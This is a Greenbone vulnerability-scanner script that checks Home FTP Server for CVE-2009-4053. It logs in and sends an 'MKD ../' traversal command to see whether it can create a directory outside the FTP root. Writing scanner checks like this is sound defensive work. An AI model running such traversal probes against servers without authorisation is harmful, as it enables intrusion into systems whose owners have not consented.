Home FTP Server 'MKD' Command Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/37041");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/507932");
  script_oid("1.3.6.1.4.1.25623.1.0.100349");
  script_version("2025-01-17T15:39:18+0000");
  script_tag(name:"last_modification", value:"2025-01-17 15:39:18 +0000 (Fri, 17 Jan 2025)");
  script_tag(name:"creation_date", value:"2009-11-18 12:44:57 +0100 (Wed, 18 Nov 2009)");
  script_cve_id("CVE-2009-4053");
  script_tag(name:"cvss_base", value:"4.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:N/I:P/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2024-01-26 17:54:00 +0000 (Fri, 26 Jan 2024)");

  script_name("Home FTP Server 'MKD' Command Directory Traversal Vulnerability");
  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("FTP");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/home_ftp/detected");

  script_tag(name:"summary", value:"Home FTP Server is prone to a directory traversal vulnerability
  because the application fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this issue allows an authenticated user to create
  directories outside the FTP root directory, which may lead to other attacks.");

  script_tag(name:"affected", value:"Home FTP Server 1.10.1.139 is vulnerable. Other versions may
  also be affected.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "Home Ftp Server" >!< banner)
  exit(0);

soc1 = open_sock_tcp(ftpPort);
if(!soc1)
  exit(0);

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

login_details = ftp_log_in(socket:soc1, user:user, pass:pass);
if(login_details)
{
  vt_strings = get_vt_strings();
  dir = vt_strings["default_rand"];
  result = ftp_send_cmd(socket: soc1, cmd: string("MKD ../", dir));
  ftp_close(socket:soc1);
  close(soc1);

  if(result && "directory created" >< result) {
    report = string("It was possible to create the directory ", dir, " outside the FTP root directory.\n");
    security_message(port:ftpPort, data:report);
    exit(0);
  }
}

exit(0);